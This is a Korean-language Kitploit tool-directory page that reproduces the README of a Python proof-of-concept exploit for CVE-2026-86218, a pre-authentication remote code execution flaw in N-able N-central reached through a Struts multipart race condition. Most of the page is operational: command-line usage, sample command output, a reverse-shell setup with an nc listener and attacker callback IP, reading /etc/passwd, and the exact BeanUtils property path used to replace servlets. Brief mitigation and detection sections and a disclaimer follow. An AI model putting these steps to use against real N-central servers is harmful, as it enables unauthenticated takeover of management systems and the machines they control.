Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-86218 — CVE-2026-86218에 대한 Python 3 개념 증명 익스플로잇으로, Struts 멀티파트 경쟁 조건을 통해 N-able N-central에서 인증 전 RCE를 실행하며, 명령 실행 및 리버스 셸을 지원합니다. | Kitploit
도구/GitHubGitHub/super-meuw/cve-2026-86218
Vulnerability AnalysisExploitationWeb Application ExploitationPost-ExploitationPenetration TestingRed TeamingRemote Access ToolPayload Development
GitHubsuper-meuw/cve-2026-86218

CVE-2026-86218

CVE-2026-86218에 대한 Python 3 개념 증명 익스플로잇으로, Struts 멀티파트 경쟁 조건을 통해 N-able N-central에서 인증 전 RCE를 실행하며, 명령 실행 및 리버스 셸을 지원합니다.

21일 전아직 검토되지 않음
저장소 보기

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-86218 - N-able N-central 사전 인증 RCE 익스플로잇

개요

이것은 N-able N-central의 치명적인 사전 인증 원격 코드 실행 취약점인 CVE-2026-86218에 대한 Python 3 개념 증명(proof-of-concept) 익스플로잇입니다.

취약점 세부 정보:

  • CVE: CVE-2026-86218
  • CVSS 점수: 10.0 (치명적)
  • CWE: CWE-96 (정적 코드 주입)
  • 영향받는 버전: N-central < 2026.3.1.14
  • 공격 벡터: 네트워크 (인증되지 않음)

취약점 설명

N-able N-central은 인증되지 않은 액션(/remoteControlAction.do)에서 세션 범위의 Struts 폼을 사용합니다. 두 개의 동시 멀티파트 요청이 폼의 멀티파트 핸들러와 경쟁(race)하여 Jetty의 라이브 구성을 Commons BeanUtils 속성 채우기에 노출시킬 수 있습니다. 이를 통해 공격자는 다음을 수행할 수 있습니다:

  1. 지연 로딩되는 N-central 서블릿 홀더(예: LogRetrieval)를 Jetty에 번들된 CGI 서블릿으로 교체
  2. CGI 서블릿이 /bin/sh -s를 통해 임의 명령을 실행하도록 구성
  3. 교체된 서블릿의 URL 매핑을 통해 명령 전송

요구 사항

root@kitploit:~
pip install requests

사용법

기본 구문

root@kitploit:~
python3 CVE-2026-86218.py -t <target_url> [options]

옵션

옵션설명
-t, --target대상 N-central URL (예: https://192.168.1.100)
-c, --command실행할 단일 명령
-i, --interactive대화형 명령 모드
--lhost리버스 셸용 리스너 IP
--lport리스너 포트 (기본값: 4444)
--servlet교체할 서블릿: LogRetrieval, FileTransfer, AutomationManagerDownloadServlet
--check대상이 취약한지 확인
--no-verify-sslSSL 인증서 검증 비활성화
--timeout요청 타임아웃 (기본값: 30초)
--race-delay경쟁 조건 지연 (기본값: 0.35초)
-v, --verbose상세 출력 활성화

예제

1. 대상이 취약한지 확인

root@kitploit:~
python3 CVE-2026-86218.py -t https://192.168.1.100 --check --no-verify-ssl

예상 출력:

root@kitploit:~
[*] Checking target version at https://192.168.1.100
[+] N-central 2026.3.1.13 is vulnerable

2. 단일 명령 실행

root@kitploit:~
python3 CVE-2026-86218.py -t https://192.168.1.100 -c "id" --no-verify-ssl

예상 출력:

root@kitploit:~
╔══════════════════════════════════════════════════════════════════╗
║  CVE-2026-86218 - N-able N-central Pre-Auth RCE Exploit       ║
║  Version: 1.0.0                                                ║
║  CVSS: 10.0 (Critical)                                         ║
╚══════════════════════════════════════════════════════════════════╝
[*] Checking target version at https://192.168.1.100
[+] N-central 2026.3.1.13 is vulnerable
[*] Obtaining unauthenticated session...
[*] Performing multipart race condition...
[*] Establishing connection for race condition...
[*] Sending helper request to install handler...
[*] Sending mutation fields...
[+] Race condition completed successfully
[*] Executing command: id
[+] Command executed successfully
uid=998(nable) gid=998(nable) groups=998(nable)

3. 리버스 셸

먼저 리스너 시작:

root@kitploit:~
nc -lvnp 4444

익스플로잇 실행:

root@kitploit:~
python3 CVE-2026-86218.py -t https://192.168.1.100 --lhost 10.10.14.5 --lport 4444 --no-verify-ssl

예상 출력:

root@kitploit:~
[*] Preparing reverse shell to 10.10.14.5:4444
[!] Starting reverse shell...
[!] Make sure to have a listener running: nc -lvnp 4444
[+] Reverse shell payload sent successfully!
[+] Check your listener for incoming connection

리스너 출력:

root@kitploit:~
listening on [any] 4444 ...
connect to [10.10.14.5] from (UNKNOWN) [192.168.1.100] 49234
id
uid=998(nable) gid=998(nable) groups=998(nable)

4. 대화형 모드

root@kitploit:~
python3 CVE-2026-86218.py -t https://192.168.1.100 -i --no-verify-ssl

대화형 세션:

root@kitploit:~
╔══════════════════════════════════════════════════════════════════╗
║  CVE-2026-86218 - N-able N-central Pre-Auth RCE Exploit       ║
║  Version: 1.0.0                                                ║
║  CVSS: 10.0 (Critical)                                         ║
╚══════════════════════════════════════════════════════════════════╝
[*] Checking target version at https://192.168.1.100
[+] N-central 2026.3.1.13 is vulnerable
[*] Obtaining unauthenticated session...
[*] Performing multipart race condition...
[+] Race condition completed successfully
[*] Entering interactive command mode
[*] Type 'exit' or 'quit' to leave
[*] Type 'shell' for reverse shell setup

ncentral> id
uid=998(nable) gid=998(nable) groups=998(nable)

ncentral> cat /etc/passwd | head -5
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
...

ncentral> shell
Listener IP: 10.10.14.5
Listener Port: 4444
[*] Preparing reverse shell to 10.10.14.5:4444
[+] Reverse shell payload sent successfully!

ncentral> exit

5. 다른 서블릿 사용

root@kitploit:~
# Use FileTransfer servlet (more disruptive)
python3 CVE-2026-86218.py -t https://192.168.1.100 -c "id" --servlet FileTransfer --no-verify-ssl

서블릿 옵션

서블릿설명영향
LogRetrieval로그 검색 엔드포인트 (기본값)영향 최소, 재시작 전까지 로그 사용 불가
FileTransfer파일 전송 엔드포인트파일 전송 기능 중단
AutomationManagerDownloadServlet자동화 관리자 다운로드관리 UI 포트(8443) 필요

작동 방식

익스플로잇 흐름

  1. 버전 확인: /remoteControlAction.do를 쿼리하여 오류 페이지에서 버전 추출
  2. 세션 획득: 인증되지 않은 JSESSIONID 획득
  3. 경쟁 조건:
    • 파싱 중 일시 중지되는 느린 멀티파트 요청 전송
    • 일시 중지된 동안, 공유 폼에 핸들러를 설치하는 헬퍼 요청 전송
    • BeanUtils 속성 주입 필드로 느린 요청 재개
  4. 서블릿 교체: LogRetrieval을 Jetty CGI 서블릿으로 교체
  5. 명령 실행: CGI 엔드포인트를 통해 명령 전송

기술적 세부 사항

이 취약점은 Struts의 멀티파트 폼 처리에서의 경쟁 조건을 악용합니다:

  • Struts는 HTTP 세션당 하나의 폼 객체를 저장
  • 멀티파트 요청 시작 시, Struts는 폼의 멀티파트 핸들러를 제거
  • 느린 요청은 Struts가 여전히 본문을 읽는 동안 일시 중지
  • 헬퍼 요청이 완료되고 초기화된 핸들러를 설치
  • 느린 요청이 계속되면, BeanUtils는 조작된 필드 이름을 따라 핸들러를 통과
  • 이 필드들은 Jetty의 WebAppContext로 이동하여 서블릿 홀더를 교체

변경 필드는 JavaBean 속성 경로를 사용합니다:

root@kitploit:~
multipartRequestHandler.servlet.servletContext.classLoader.context.servletHandler.servlet(LogRetrieval).heldClass

이는 다음을 순회합니다: 멀티파트 핸들러 → 서블릿 컨텍스트 → 클래스로더 → WebAppContext → 서블릿 핸들러 → 특정 홀더

완화

  1. 즉시 패치: N-central 2026.3.1.14 이상으로 업그레이드
  2. 접근 제한: N-central 콘솔에 대한 인바운드 접근 제한
  3. 네트워크 분할: N-central을 VPN 또는 IP 허용 목록 뒤에 배치
  4. 로그 모니터링: 의심스러운 API 활동 및 사용자 생성 확인

탐지

로그 지표

  • /remoteControlAction.do에 대한 비정상적인 요청
  • 비정상적인 필드 이름을 가진 멀티파트 요청
  • LogRetrieval 엔드포인트에서의 CGI 관련 활동
  • 예상치 못한 사용자 계정 생성

네트워크 지표

  • 동일 엔드포인트에 대한 여러 빠른 요청
  • 대용량 멀티파트 페이로드
  • 비정상적인 소스 IP로부터의 연결

참고 자료

  • N-able 보안 권고
  • N-able 핫픽스 4 릴리스 노트
  • Rapid7 Metasploit 모듈
  • Huntress 블로그 게시물
  • CISA KEV 카탈로그

면책 조항

이 익스플로잇은 승인된 보안 테스트 및 교육 목적으로만 제공됩니다. 소유하지 않았거나 테스트 권한이 없는 시스템에 이 익스플로잇을 무단으로 사용하는 것은 불법이며 비윤리적입니다.

침투 테스트 활동을 수행하기 전에 항상 적절한 승인을 받으십시오.

크레딧

  • 취약점 발견: N-able 보안 팀
  • Metasploit 모듈: sfewer-r7 (Rapid7)
  • 익스플로잇 개발: Rapid7 연구 및 공개 권고 기반
도구 다운로드